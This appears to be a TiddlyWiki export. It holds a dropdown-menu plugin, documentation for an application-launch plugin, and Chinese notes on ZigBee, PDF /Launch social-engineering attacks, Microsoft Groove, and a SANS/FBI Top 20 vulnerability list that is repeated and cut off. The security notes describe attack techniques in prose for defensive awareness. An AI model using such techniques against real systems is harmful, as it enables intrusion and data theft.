            title = "Error: Can't use the same tiddler from which the macro is called (infinite recursion)!";
            alert(title);
            return;
	}
	var tiddler = store.getTiddler(title);
        var contents = tiddler.text;
	wikify(contents, place);
}
//}}}
/***
|''Name:''|DropDownMenuPlugin|
|''Description:''|Create dropdown menus from unordered lists|
|''Author:''|Saq Imtiaz ( lewcid@gmail.com )|
|''Source:''|http://tw.lewcid.org/#DropDownMenuPlugin|
|''Code Repository:''|http://tw.lewcid.org/svn/plugins|
|''Version:''|2.1|
|''Date:''|11/04/2007|
|''License:''|[[Creative Commons Attribution-ShareAlike 3.0 License|http://creativecommons.org/licenses/by-sa/3.0/]]|
|''~CoreVersion:''|2.2.5|

!!Usage:
* create a two-level unordered list using wiki syntax, and place {{{<<dropMenu>>}}} on the line after it.
* to create a vertical menu use {{{<<dropMenu vertical>>}}} instead.
* to assign custom classes to the list, just pass them as parameters to the macro {{{<<dropMenu className1 className2 className3>>}}}

!!Features:
*Supports just a single level of drop-downs, as anything more usually provides a poor experience for the user.
* Very light weight, about 1.5kb of JavaScript and 4kb of CSS.
* Comes with two built in css 'themes', the default horizontal and vertical. 

!!Customizing:
* to customize the appearance of the menu's, you can either add a custom class as described above or, you can edit the CSS via the StyleSheetDropDownMenu shadow tiddler.


***/
// /%
//!BEGIN-PLUGIN-CODE
config.macros.dropMenu={

	dropdownchar: "\u25bc",

	handler : function(place,macroName,params,wikifier,paramString,tiddler){
		list = findRelated(place.lastChild,"UL","tagName","previousSibling");
		if (!list)
			return;
		addClass(list,"suckerfish");
		if (params.length){
			addClass(list,paramString);
		}
		this.fixLinks(list);
	},
	
	fixLinks : function(el){
		var els = el.getElementsByTagName("li");
		for(var i = 0; i < els.length; i++) {
			if(els[i].getElementsByTagName("ul").length>0){
				var link = findRelated(els[i].firstChild,"A","tagName","nextSibling");
				if(!link){
					var ih = els[i].firstChild.data;
					els[i].removeChild(els[i].firstChild);
					var d = createTiddlyElement(null,"a",null,null,ih+this.dropdownchar,{href:"javascript:;"});
					els[i].insertBefore(d,els[i].firstChild);
				}
				else{
					link.firstChild.data = link.firstChild.data + this.dropdownchar;
					removeClass(link,"tiddlyLinkNonExisting");
				}
			}
			els[i].onmouseover = function() {
				addClass(this, "sfhover");
			};
			els[i].onmouseout = function() {
				removeClass(this, "sfhover");
			};
		}
	}	
};

config.shadowTiddlers["StyleSheetDropDownMenuPlugin"] = 
	 "/*{{{*/\n"+
	 "/***** LAYOUT STYLES -  DO NOT EDIT! *****/\n"+
	 "ul.suckerfish, ul.suckerfish ul {\n"+
	 "	margin: 0;\n"+
	 "	padding: 0;\n"+
	 "	list-style: none;\n"+
	 "	line-height:1.4em;\n"+
	 "}\n\n"+
	 "ul.suckerfish  li {\n"+
	 "	display: inline-block; \n"+
	 "	display: block;\n"+
	 "	float: left; \n"+
	 "}\n\n"+
	 "ul.suckerfish li ul {\n"+
	 "	position: absolute;\n"+
	 "	left: -999em;\n"+
	 "}\n\n"+
	 "ul.suckerfish li:hover ul, ul.suckerfish li.sfhover ul {\n"+
	 "	left: auto;\n"+
	 "}\n\n"+
	 "ul.suckerfish ul li {\n"+
	 "	float: none;\n"+
	 "	border-right: 0;\n"+
	 "	border-left:0;\n"+
	 "}\n\n"+
	 "ul.suckerfish a, ul.suckerfish a:hover {\n"+
	 "	display: block;\n"+
	 "}\n\n"+
	 "ul.suckerfish li a.tiddlyLink, ul.suckerfish li a, #mainMenu ul.suckerfish li a {font-weight:bold;}\n"+
	 "/**** END LAYOUT STYLES *****/\n"+
	 "\n\n"+
	 "/**** COLORS AND APPEARANCE - DEFAULT *****/\n"+
	 "ul.suckerfish li a {\n"+
	 "	padding: 0.5em 1.5em;\n"+
	 "	color: #FFF;\n"+
	 "	background: #0066aa;\n"+
	 "	border-bottom: 0;\n"+
	 "	font-weight:bold;\n"+
	 "}\n\n"+
	 "ul.suckerfish li:hover a, ul.suckerfish li.sfhover a{\n"+
	 "	background: #00558F;\n"+
	 "}\n\n"+
	 "ul.suckerfish li:hover ul a, ul.suckerfish li.sfhover ul a{\n"+
	 "	color: #000;\n"+
	 "	background: #eff3fa;\n"+
	 "	border-top:1px solid #FFF;\n"+
	 "}\n\n"+
	 "ul.suckerfish ul li a:hover {\n"+
	 "	background: #e0e8f5;\n"+
	 "}\n\n"+
	 "ul.suckerfish li a{\n"+
	 "	width:9em;\n"+
	 "}\n\n"+
	 "ul.suckerfish ul li a, ul.suckerfish ul li a:hover{\n"+
	 "	display:inline-block;\n"+
	 "	width:9em;\n"+
	 "}\n\n"+
	 "ul.suckerfish li {\n"+
	 "	border-left: 1px solid #00558F;\n"+
	 "}\n"+
	 "/***** END COLORS AND APPEARANCE - DEFAULT *****/\n"+
	 "\n\n"+
	 "/***** LAYOUT AND APPEARANCE: VERTICAL *****/\n"+
	 "ul.suckerfish.vertical li{\n"+
	 "	width:10em;\n"+
	 "	border-left: 0px solid #00558f;\n"+
	 "}\n\n"+
	 "ul.suckerfish.vertical ul li, ul.suckerfish.vertical li a, ul.suckerfish.vertical li:hover a, ul.suckerfish.vertical li.sfhover a {\n"+
	 "	border-left: 0.8em solid #00558f;\n"+
	 "}\n\n"+
	 "ul.suckerfish.vertical li a, ul.suckerfish.vertical li:hover a, ul.suckerfish.vertical li.sfhover a,  ul.suckerfish.vertical li.sfhover a:hover{\n"+
	 "	width:8em;\n"+
	 "}\n\n"+
	 "ul.suckerfish.vertical {\n"+
	 "	width:10em; text-align:left;\n"+
	 "	float:left;\n"+
	 "}\n\n"+
	 "ul.suckerfish.vertical li a {\n"+
	 "	padding: 0.5em 1em 0.5em 1em;\n"+
	 "	border-top:1px solid  #fff;\n"+
	 "}\n\n"+
	 "ul.suckerfish.vertical, ul.suckerfish.vertical ul {\n"+
	 "	line-height:1.4em;\n"+
	 "}\n\n"+
	 "ul.suckerfish.vertical li:hover ul, ul.suckerfish.vertical li.sfhover ul { \n"+
	 "	margin: -2.4em 0 0 10.9em;\n"+
	 "}\n\n"+
	 "ul.suckerfish.vertical li:hover ul li a, ul.suckerfish.vertical li.sfhover ul li a {\n"+
	 "	border: 0px solid #FFF;\n"+
	 "}\n\n"+
	 "ul.suckerfish.vertical li:hover a, ul.suckerfish.vertical li.sfhover a{\n"+
	 "	padding-right:1.1em;\n"+
	 "}\n\n"+
	 "ul.suckerfish.vertical li:hover ul li, ul.suckerfish.vertical li.sfhover ul li {\n"+
	 "	border-bottom:1px solid  #fff;\n"+
	 "}\n\n"+
	 "/***** END LAYOUT AND APPEARANCE: VERTICAL *****/\n"+
	 "/*}}}*/";
store.addNotification("StyleSheetDropDownMenuPlugin",refreshStyles);
//!END-PLUGIN-CODE
// %/

<<importTiddlers inline>>
<<exportTiddlers inline>>
/***
|''Name:''|LaunchApplicationPlugin|
|''Author:''|Lyall Pearce|
|''Source:''|http://www.Remotely-Helpful.com/TiddlyWiki/LaunchApplication.html|
|''License:''|[[Creative Commons Attribution-Share Alike 3.0 License|http://creativecommons.org/licenses/by-sa/3.0/]]|
|''Version:''|1.4.0|
|''~CoreVersion:''|2.3.0|
|''Requires:''| |
|''Overrides:''| |
|''Description:''|Launch an application from within TiddlyWiki using a button|
!!!!!Usage
<<<
{{{<<LaunchApplication "buttonLabel" "tooltip" "application" ["arguments" ...]>>}}}
{{{<<LaunchApplicationButton "buttonLabel" "tooltip" "application" ["arguments" ...]>>}}}
{{{<<LaunchApplicationLink "buttonLabel" "tooltip" "application" ["arguments" ...]>>}}}
* buttonLabel is anything you like
* tooltip is anything you like
* application is a path to the executable (which is Operating System dependant)
* arguments is any command line arguments the application requires.
* You must supply relative path from the location of the TiddlyWiki OR a fully qualified path
* Forward slashes works fine for Windows

{{{<<LaunchApplication...>>}}} functions the same as {{{<<LaunchApplicationButton...>>}}}

eg.

{{{
<<LaunchApplicationButton "Emacs" "Linux Emacs" "file:///usr/bin/emacs">>
}}}
<<LaunchApplicationButton "Emacs" "Linux Emacs" "file:///usr/bin/emacs">>

{{{
<<LaunchApplicationLink "LocalProgram" "Program relative to Tiddly html file" "localDir/bin/emacs">>
}}}
<<LaunchApplicationLink "LocalProgram" "Program relative to Tiddly html file" "localDir/bin/emacs">>
					     
{{{
<<LaunchApplicationButton "Open Notepad" "Text Editing" "file:///e:/Windows/notepad.exe">>
}}}
<<LaunchApplicationButton "Open Notepad" "Text Editing" "file:///e:/Windows/notepad.exe">>

{{{
<<LaunchApplicationLink "C Drive" "Folder" "file:///c:/">>
}}}
<<LaunchApplicationLink "C Drive" "Folder" "file:///c:/">>


!!!!!Revision History
* 1.1.0 - leveraged some tweaks from from Bradly Meck's version (http://bradleymeck.tiddlyspot.com/#LaunchApplicationPlugin) and the example text.
* 1.2.0 - Make launching work in Linux too and use displayMessage() to give diagnostics/status info.
* 1.3.0 - execute programs relative to TiddlyWiki html file plus fix to args for firefox.
* 1.3.1 - parameters to the macro are properly parsed, allowing dynamic paramters using {{{ {{javascript}} }}} notation.
* 1.4.0 - updated core version and fixed empty tooltip and added launch link capability
***/
ZigBee 是一種無線網路協定,主要由 ZigBee Alliance 制定,底層是採用 IEEE 802.15.4 標準規範的媒體存取層與實體層。主要特色有低速、低耗電、低成本、支援大量網路節點、支援多種網路拓撲、低复杂度、快速、可靠、安全。

{{item1{ZigBee是什麼?}}}
ZigBee是一種家庭區域網路,特別為取代不斷增加的獨立遙控器而設計。當初建構ZigBee是為了滿足市場對支援低資料速率、低功耗、安全可靠的基於標準的低成本無線網路的需求。為解決這樣的需求,ZigBee聯盟在IEEE 802.15.4無線標準之上開發了標準化的應用軟體。該聯盟與IEEE密切合作以保證為市場提供一個整合的、完整的和可互操作的網路。例如,該工作組將提供包括ZigBee軟體層的802.15.4系統互通性測試認證。

ZigBee聯盟還將作為ZigBee設備的官方測試和認證部門。ZigBee是唯一滿足絕大多數遠端檢測、控制和感測器網路應用的基於標準的技術。

將IEEE 802.15.4 看成是無線傳輸的實體部分,ZigBee是邏輯網路和應用軟體部分或許會有所幫助,如圖1所示。在緊接著標準開放系統互連(Open Systems Interconnection,OSI)參考模型之後,ZigBee協議堆疊按層構建。頭兩層是實體層(PHY)和媒體存取層(MAC),在IEEE 802.15.4標準中定義。在這兩層之上的層由ZigBee聯盟定義。IEEE工作組在2003年通過了PHY和MAC的第一次草案。網路(NWK)層的最終版本預期在今年的某個時間推出。

滿足ZigBee標準的產品工作在全球的免授權頻段,包括2.4GHz(全球)、 902到928MHz(美洲)和868MHz(歐洲)。在2.7GHz(16個通道)可以達到250Kbps的原始資料吞吐率,在915MHz(10個通道)為40Kbps,868MHz(1個通道)為20Kbps。預計的傳輸距離為10公尺到75公尺,取決於輸出功率和環境參數。像Wi-Fi和 Zigbee利用2.4GHz頻段直接序列擴頻,採用偏移-正交相移鍵控調製。通道頻寬為2MHz,通道間距為5MHz。868和900MHz頻段也採用直接序列擴頻,但是採用二進位相移鍵控。
本文網址 : http://www.ithome.com.tw/itadm/article.php?c=60768

不明來路的執行檔案連結不能點,這已經是很多人都擁有的資安常識。不過你是否也知道,PDF也有可能成為攻擊手法的一種?

不明來路的執行檔案連結不能點,這已經是很多人都擁有的資安常識。不過你是否也知道,PDF也有可能成為攻擊手法的一種?不光如此,最近更有資安研究員展示了不用利用PDF Reader軟體漏洞,就能以社交工程和PDF檔案原本允許的功能,誘騙使用者連上惡意網站或執行惡意程式的手法。


最近,兩位資安研究員,相繼發現了不需要透過漏洞,就能利用PDF原本的功能,進行惡意攻擊的手法,並且公開將過程展示在Youtube上。事實上,透過 PDF這一類文件檔案進行的攻擊手法,已經越來越普遍,這也使得這兩位研究員的發現,掀起了一股風波。

在臺灣,每年行政院國家資通安全會報都會進行「電子郵件社交工程演練」,針對各個機關發送社交工程攻擊手法的模擬攻擊電子郵件,假冒各個不同單位發信,測試看看有多少人會無預警的打開郵件裡的連結或附檔。以2007年12月的結果來看,平均24.17%的使用者會打開郵件;16.29%的使用者會進一步打開連結或附件。其中,詐騙成功率最高的,是以夾帶惡意文件檔的方式誘騙使用者點擊。測試中,每年都有5~8%的使用者會打開這樣類型的惡意文件檔案。

[[與社交工程手法混用,惡意文件檔成為有效攻擊手法|http://www.ithome.com.tw/itadm/article.php?c=60768&s=2]]
傳統來路不明的執行檔和連結,誘騙使用者點擊的攻擊手法,已經逐漸不那麼有效了;但是文件檔,如PDF、Office文件等,則反而成為了新的可利用手法

[[不需漏洞,攻擊者也可以透過PDF讓使用者執行程式|http://www.ithome.com.tw/itadm/article.php?c=60768&s=3]]
透過在PDF檔案中寫入/Launch指令的手法,可以讓使用者只要執行特定的PDF檔案,連帶就自動執行其他任何程式

[[不要高估 PDF 的安全性|http://www.ithome.com.tw/itadm/article.php?c=60768&s=4]]
目前看來,唯一能夠阻止這種手法的防範之道,只有透過偏好設定裡的信任管理程式,把允許使用外部應用程式開啟非PDF檔案附件的選項關掉

[[社交工程結合惡意文件防不勝防|http://www.ithome.com.tw/itadm/article.php?c=60768&s=5]]
幾位國外的資安研究員公開展示了不用透過漏洞,直接以社交工程與惡意文件檔案結合的方式,執行惡意程式的手法

[[可能的攻擊手法|http://www.ithome.com.tw/itadm/article.php?c=60768&s=6]]
一為先變更Reader的設定,再竊取資料;二為可能透過PDF做DDoS或破壞性的攻擊

[[防堵 PDF 文件攻擊的4大方法|http://www.ithome.com.tw/itadm/article.php?c=60768&s=7]]
雖然目前還沒有完全能夠百分之百防護的有效方法,不過對於企業或組織來說,還是有4個方法可以參考使用,多管齊下降低危險性 
目前現有的協作產品如微軟自家SharePoint、IBM Lotus等,都需部署伺服器,檔案要透過伺服器存取。不過走P2P架構的Groove,檔案就存在使用者電腦。

微軟去年推出Office 2007產品線旗下的協同作業平台Groove,六月將有文版產品,和先前推出協作平台SharePoint不同的是,Groove走的是P2P架構,不需部署伺服器。

Groove在去年推出Office 2007時就已包含在內,不過只有英文版本。目前在商用版、旗鑑版當中都附有Groove,也可單買。

台灣微軟營運暨行銷事業群資深產品行銷經理盧道正指出,Groove是文件分享的協作工具,此產品的特殊之處在於採用P2P架構。目前現有的協作產品如微軟自家SharePoint、IBM Lotus等,都需部署伺服器,檔案要透過伺服器存取。不過走P2P架構的Groove,檔案就存在使用者電腦。

盧道正說,雖然同是協作軟體,但Groove和SharePoint並不會有衝突,因為Groove適合多對多的應用,而SharePoint則適合一對多,並不會造成自家產品互打的狀況。

微軟在上月(3/17)針對學生族群引進國外的校園低價專案時,同時宣佈推出含有Groove的Office旗鑑版本。由於不需部署伺服器,可簡單的連線使用,因此微軟也希望藉由校園專案將Groove推向學生族群。

這也是Groove和SharePoint的區隔,因為部署簡單,所以不僅可用於企業內部文件分享、討論,學生在進行團體報告時也可以 Groove搭配Office使用。而且價格低廉,透過學生專案購買含有Groove的旗鑑版Office為1990元;而在六月中文版推出後,以單一產品購買要五千多元。

消費端檔案分享產品暫不引進台灣

除了企業端協作軟體外,微軟本月(4)也在國外正式發表針對消費市場的Office Live Workspace,不過目前暫無打算引進台灣。

盧道正澄清,Office Live Workspace並不能算是「線上版」的Office,使用者電腦中還是必須裝有文書處理軟體,Office Live Workspace只是進行檔案分享,如同協作平台,並可共用螢幕。

Office Live Workspace走的也是伺服器架構,不過是微軟針對消費端的產品,SharePoint則是主攻企業端。對於微軟上週(4/18)開始進行封閉測試、代號為Albany的生產力軟體套件,台灣微軟則表示並不清楚。
[img[img/msteam.png]]

本文網址 : http://dbmaker.syscom.com.tw/mag/62/sen_1.htm
SANS 網址 : http://www.sans.org/

當全球景氣持續萎靡不振情勢之下,各地企業多以裁員、縮編、刪減預算等各種削減成本的方式來設法度過此波經濟低潮期。然而,雖然企業刪減資訊預算的現象普遍存在,不過他們對於資訊/網路安全的工作仍不敢馬虎,因為在不景氣的時代,企業反而更容易成為不肖份子設法圖利的對象。這就有如在經濟、政治不安穩的時機之下,犯罪案件特別氾濫一樣,網路安全工作在此時更應做得更加確實,才不至於讓企業蒙受損害。

SANS 早在去年,SANS(System Administration, Networking, Security)機構即發佈了一份「前十大網路安全漏洞」的文件,正中要害地指出網路安全防衛上常見的缺漏。SANS Institution 成立於1989年,有來自全球各地超過九萬六千名的系統管理者、網路安全專家、以及網路管理菁英,在此分享其所學與專業經驗,於是當時全球許多企業以此文件為圭臬,即時提升了企業的網路安全性。今年,這份網路安全漏洞的黑名單,再被更新延伸為原來的兩倍之多,並在十月一日發表了一份新名單 - SANS/FBI Top Twenty,這份名單之所以如此受到重視,主要係因為名單的來源受到肯定,而且內容詳盡具說服力。

在名單來源方面,這份名單整理自全球頂尖網路安全專家的經驗與見解,包括美國聯邦單位的安全專家、專業安全軟體廠商、安全顧問公司、大學裡的安全計畫、網路安全危機處理中心(CERT/CC;Computer Emergency Response Team/Coordination Center)、以及SANS Institution的專業顧問…等等。在內容方面,這份名單不僅指出漏洞的所在,更指導網路管理者如何判斷企業本身的網路是否有漏洞、該如何防禦、以及如何補救等建議。

這份名單共分成三大類,依發生在不同的作業系統上而區分:第一類是共有七個的「一般型漏洞」,之所以被稱為一般型,乃是因為此類行的漏洞可能發生在所有類型的系統上,多是發生於管理不當的漏洞,防禦的方法沒啥技術可言,卻是最容易被忽略的一環。第二類則是發生在 Windows 系統上的六個「Windows 漏洞」,因為 Windows 的程式本身即有許多不足之處,一旦被發覺,便很容易成為駭客犯罪的捷徑。第三類是發生在 UNIX 系統上的「UNIX 漏洞」,共計有七個,其中有些漏洞也可能發生在 Linux 系統上。

這份名單顯示,在任何作業系統上都隱藏著漏洞的事實,那麼在網路世界裡,既然企業無法生存在一個免於駭客恐懼的大同世界,但至少企業可以設法降低被駭客覬覦的危險性,這時定期的健診、有效的防範、異常警訊的處理、以及補救措施的準備… 等,都是可以讓駭客知難而退的正確方式,這份「二十大網路安全漏洞」黑名單,正好可提供給企業作為規劃網路安全工作的第一步。

一、 一般型漏洞

1. 作業系統或程式以預設選項的方式執行安裝

在安裝軟體程式時,使用者往往以安裝檔本身所預設的功能選項執行安裝,或為省去麻煩而乾脆執行完整安裝;事實上,一套軟體裡也許包含了許多使用者不需要、不會維護、或根本不知道的功能,而這些堪稱「多餘」的程式極有可能就成了被攻擊的入口。原因很簡單,若非使用者自行選定功能的話,使用者根本搞不清楚自己安裝了哪些東西,而只是一如往常的只啟動自己需要的軟體,如此一來,那些從來沒被用到過、卻安裝在電腦上的程式,由於長久未經使用,即使成了受攻擊的對象,也無法輕易被察覺,再加上缺乏定期維護整理的話,程式也可能壞損、漏洞百出。

2. 沒有密碼保護,或有密碼但不夠嚴密的帳號,均是眾矢之的

密碼,往往是系統上唯一的保護機制,如果連這一層都省了,那駭客就能輕易如入無人之境。而設了密碼機制就代表安全了嗎?誰都知道使用者名稱(Login ID)是很容易取得的,無非是員工姓名、員工編號、或者是等。管理者往往為了管理與授權上的方便,都會使用預設的使用者名稱或相對應(甚至相同)的密碼提供給使用者,其後雖然有更改密碼的功能,不過使用者通常為了省事、或怕忘記,極少願意更改預設值。而且你不要不相信,即使是自訂的密碼,有心人士也是很容易取得的,因為八九不離與自己相關的數字或單字,例如:生日、電話、車號、或英文名字…等。

3. 沒有備援,或是備援機制不完備

像這一類可能促使企業蒙受損害的,均應被視為漏洞的一員。當有緊急意外發生時,即時的資料復原能力是很重要的。先遑論是否有做好備援機制,即使是備援系統均以定期更新方式進行備援,然能達到同步備援的系統並不在多數;再說就算有定期備援,企業也總是在事件發生後,才能驗證到備援是否正常運作,以及是否即時解救了企業最新才輸入的資料。

4. 開放的連接埠(Port)越多,駭客越能如入無人之境

駭客其實是跟一般使用者一樣,均透過開放的連接埠連上系統,可想而知的是,開放越多的連接埠,即是開啟了越多扇大門供出入,如此一來,在管理與偵測工作上更加難以落實。

5. 即使是有正確位址的封包,未經過濾者仍潛伏危機

使用假的IP位址是駭客掩飾身份的一貫手法,許多駭客即利用假的IP位址來傳送含有攻擊程式的封包至受害者電腦上,所以針對網路管理者應針對進出的封包設下過濾的準則來定義封包是否可以通行。

6. 沒有保存網路出入記錄 (Log),或者保存得不完整,無法稽查

「防範勝於治療,偵測更是必須的」是網路安全工作上的座右銘。每天都有大大小小駭客入侵事件傳出,而每每均有新的手法與漏洞被發掘出來,你可能無法總是趕在駭客之前發現漏洞的存在,但若能在遭受入侵之時,實施及早發現及早治療,那麼駭客是可以適時遏止的。因此完整保存進出防火牆的網路使用記錄,並加以分析,是入侵偵測工作的第一步,那麼即使沒有每天觀察分析報表的閒工夫,至少可以在事件發生時,檢查問題的發生途徑、哪些系統受損、追蹤始作俑者、並避免重蹈覆轍。

7. CGI程式容易漏洞百出

大部分的網站伺服器都有支援CGI(Common Gateway Interface)程式,包括微軟的IIS與Apache也是。於是問題就出在,大部分的人均直接把CGI程式的範本套用在網站伺服器上,他們忽略了這樣的程式,會把網路使用者鏈結到網站伺服器的作業系統上,於是不懷好意的人就可以很容易的朝伺服器下手,例如:網路資料庫遭竊取、網頁遭竄改…等,更甚者駭客會藉機留了一條後路方便日後再次光臨,實在是後患無窮。

二、 Windows漏洞

8. Unicode

統一編碼(Unicode)的功能,跨越了平台、程式、以及語言的藩籬,將所有的字體都給予一個碼來定義,例如『/』符號,若用統一編碼來表示即變成冗長的『%2f』。然而因為IIS(Internet Information Server)的安檢功能並無法辨識過長的名稱,所以URL上過長的統一編碼便可繞過IIS的安全檢測,直搗黃龍。

9. ISAPI 延伸程式的緩衝區溢位

使用微軟系統的NT或2000的網站伺服器,大部分也都有使用IIS,一旦安裝了IIS,也會自動安裝上ISAPI(網際網路伺服器應用程式介面;Internet Server Application Programming Interface),ISAPI即是以副檔名為DLL(動態鏈結程式庫;Dynamic Link Library)的形式在伺服器上運作。例如有些DLL檔在處理使用者送過來的資料時會發生問題,因為該DLL檔將因為無法處理過長的字串,於是產生「緩衝區溢位」(Buffer Overflow)的現象而造成當機,這時駭客就可以藉此輕鬆接管IIS了。

10. IIS RDS(Remote Data Services)

IIS尚有許多漏洞,例如駭客已經可以做到,利用RDS程式上的弱點,以管理者身份來執行遠端指令,還好IIS系統修補程式已經出爐了,只要將MDAC升級至2.1以上的版本,即可克服此問題。

11. NETBIOS - 開啟網路分享,開啟漏洞

SMB(Server Message Block)是可以透過網路分享檔案的協定,許多使用者或企業將其內部網站或機密資料夾開了分享,以供其他同事或合作夥伴使用或存取,但是如果沒有配合適當的設定,無形中即為駭客開了一扇大門,駭客將因此竊取資料,甚至植入病毒。同樣的情形即使是在麥金塔(Macintosh)或Unix系統上也可能發生。

12. Null Session可能是資料洩漏的通道

許多網站常會使用一個Null Session connection機制,給那些未經授權的人使用,例如是一個Guest的使用者名稱與相對應的預設密碼;或是讓一些忘了密碼或使用者名稱的人可以進一步查詢資料。再舉個例子來講,如果A電腦有時需要到其他電腦上做些工作或取得資料,這時便可以使用Null session這樣的機制去做存取的動作,相同的,駭客也可輕易的登入Null session,游走於各電腦之間。

13. LAN Manager的密碼弱點

在Window NT或 Windows 2000的系統上,微軟會預設一組密碼給網域管理員(LAN Manager),由於網路管理員裡所用的加密機制非常容易破解,故其保護效果不大。更誇張的是,這套密碼機制,最多只需花一個月的時間就能破解,因為密碼長度只有14個字元,而且還能以空白字元來堆疊至14個字元即可,再者密碼會被轉換成大寫字母,最後還有14個字元的密碼會被分開成兩串分別為七個字元的密碼串。換句話說,駭客只需克服兩個長度分別為7個字元的密碼即可,甚至不需要去嘗試破解小寫字母。

三、 UNIX漏洞

14. RPC的緩衝區溢位

RPCs (Remote Procedure Calls)的用途是在A電腦可以遠端地遙控與執行B電腦上的程式,通常被用在NFS的檔案分享與NIS上面。在1999至2000年間,這個漏洞曾對美國國防部與軍事系統造成不小的傷害。

15. Sendmail也有漏洞

UNIX與Linux系統上有個專門用來收發或轉寄電子郵件的Sendmail功能,經常是駭客攻擊的目標。駭客的攻擊方式即是傳送一封攻擊信件到正在執行Sendmail的機器上,而Sendmail會依照這封信的指示,要求受害電腦將其密碼檔傳送給駭客(也許是傳給其他的受害者也說不定),如此一來密碼即被大量外洩。

16. BIND的漏洞

BIND(Berkeley Internet Name Domain) 是DNS(Domain Name Service)用來將網址名稱(例如:www.syscom.com.tw)轉為IP位址(210.59.224.48)的軟體,根據1999年的調查顯示,約有過半的DNS伺服器都是使用這種有安全漏洞之虞的BIND版本。

17. R 指令

公司裡的網路管理者經常身兼數職:一個人同時管理數十個甚至上百個不同的系統,於是為了方便起見,管理者會使用UNIX上的R指令來做系統切換,而不需要頻頻輸入認證密碼,這些系統即可自行組成了一個所謂的信任網路。由於在此網路內不需密碼即可在各系統中自由穿梭,故駭客只需看準其中一個目標侵入,則可直達此信任網路中的任一系統。

18. LPD

在UNIX上,in.lpd讓使用者可以與印表機做互動,讓A印表機上的工作可以轉到B印表機上執行,然而如此一來卻引發了緩衝區溢位的漏洞,因為如果B印表機在短時間裡收到過量的工作,印表機便可能因此當機或變成亂碼。

19. sadmind and mountd

sadmind及mountd程式本身在開發時即有一些瑕疵,這些程式上的錯誤可能也會導致緩衝區溢位的現象,駭客即可由此途徑得逞。其中,sadmind能以遠端管理來存取Solaris系統,而mountd則是用來控制UNIX上的NFS。

20. 預設的SNMP字串

簡單網路管理協定SNMP(Simple Network Management Protocol)是網路管理者用來管理各式的網路連接設備,包括路由器、印表機、電腦等,SNMP均只用了一組未經過加密的社群字串(community string),來當作唯一的授權認證機制。而這些大部分的網路設備均使用這個預設的社群字串,且很少設備廠商會將其更改成私人用的字串,於是駭客便利用這個弱點,來遠端進行重新設定,甚至將任一網路設備關掉。更糟的是,從觀察SNMP流量上來看,就可以看出大致的網路結構及其周邊連接在一起的設備,入侵者即可以此為藍圖進行攻擊計畫。

除了發表上述的二十大網路安全漏洞以外,這份名單也提供了每一種漏洞相關的解決之道,並給予網路管理者一些中肯的建議,讀者可自行上SANS Institution網站查閱。

我們都知道,網路安全問題的產生多來自有心人士惡意的攻擊,可能是內部的網路管理不當,或離職員工的破壞,也可能是外部不肖份子,為了達到利益、仇恨、或娛樂等目的所用的手段,但不管其目的為何,駭客可能的入侵方式,均不出造成系統當機、植入病毒、取代系統管理員、破解密碼、竊取資料、破壞程式…等。所謂魔高一尺,道高一丈,現在的資訊科技針對各種入侵手法也已有了各式的防範技巧,像是防火牆、入侵偵測、備援系統、防毒解毒、資料加密…等,均是企業在實施安全策略時缺一不可的機制,當然無庸置疑的是,諮詢專業資訊廠商,絕對是網路安全建設的第一步。

本文網址 : http://dbmaker.syscom.com.tw/mag/62/sen_1.htm
SANS 網址 : http://www.sans.org/

當全球景氣持續萎靡不振情勢之下,各地企業多以裁員、縮編、刪減預算等各種削減成本的方式來設法度過此波經濟低潮期。然而,雖然企業刪減資訊預算的現象普遍存在,不過他們對於資訊/網路安全的工作仍不敢馬虎,因為在不景氣的時代,企業反而更容易成為不肖份子設法圖利的對象。這就有如在經濟、政治不安穩的時機之下,犯罪案件特別氾濫一樣,網路安全工作在此時更應做得更加確實,才不至於讓企業蒙受損害。

SANS 早在去年,SANS(System Administration, Networking, Security)機構即發佈了一份「前十大網路安全漏洞」的文件,正中要害地指出網路安全防衛上常見的缺漏。SANS Institution 成立於1989年,有來自全球各地超過九萬六千名的系統管理者、網路安全專家、以及網路管理菁英,在此分享其所學與專業經驗,於是當時全球許多企業以此文件為圭臬,即時提升了企業的網路安全性。今年,這份網路安全漏洞的黑名單,再被更新延伸為原來的兩倍之多,並在十月一日發表了一份新名單 - SANS/FBI Top Twenty,這份名單之所以如此受到重視,主要係因為名單的來源受到肯定,而且內容詳盡具說服力。

在名單來源方面,這份名單整理自全球頂尖網路安全專家的經驗與見解,包括美國聯邦單位的安全專家、專業安全軟體廠商、安全顧問公司、大學裡的安全計畫、網路安全危機處理中心(CERT/CC;Computer Emergency Response Team/Coordination Center)、以及SANS Institution的專業顧問…等等。在內容方面,這份名單不僅指出漏洞的所在,更指導網路管理者如何判斷企業本身的網路是否有漏洞、該如何防禦、以及如何補救等建議。

這份名單共分成三大類,依發生在不同的作業系統上而區分:第一類是共有七個的「一般型漏洞」,之所以被稱為一般型,乃是因為此類行的漏洞可能發生在所有類型的系統上,多是發生於管理不當的漏洞,防禦的方法沒啥技術可言,卻是最容易被忽略的一環。第二類則是發生在 Windows 系統上的六個「Windows 漏洞」,因為 Windows 的程式本身即有許多不足之處,一旦被發覺,便很容易成為駭客犯罪的捷徑。第三類是發生在 UNIX 系統上的「UNIX 漏洞」,共計有七個,其中有些漏洞也可能發生在 Linux 系統上。

這份名單顯示,在任何作業系統上都隱藏著漏洞的事實,那麼在網路世界裡,既然企業無法生存在一個免於駭客恐懼的大同世界,但至少企業可以設法降低被駭客覬覦的危險性,這時定期的健診、有效的防範、異常警訊的處理、以及補救措施的準備… 等,都是可以讓駭客知難而退的正確方式,這份「二十大網路安全漏洞」黑名單,正好可提供給企業作為規劃網路安全工作的第一步。

一、 一般型漏洞

1. 作業系統或程式以預設選項的方式執行安裝

在安裝軟體程式時,使用者往往以安裝檔本身所預設的功能選項執行安裝,或為省去麻煩而乾脆執行完整安裝;事實上,一套軟體裡也許包含了許多使用者不需要、不會維護、或根本不知道的功能,而這些堪稱「多餘」的程式極有可能就成了被攻擊的入口。原因很簡單,若非使用者自行選定功能的話,使用者根本搞不清楚自己安裝了哪些東西,而只是一如往常的只啟動自己需要的軟體,如此一來,那些從來沒被用到過、卻安裝在電腦上的程式,由於長久未經使用,即使成了受攻擊的對象,也無法輕易被察覺,再加上缺乏定期維護整理的話,程式也可能壞損、漏洞百出。

2. 沒有密碼保護,或有密碼但不夠嚴密的帳號,均是眾矢之的

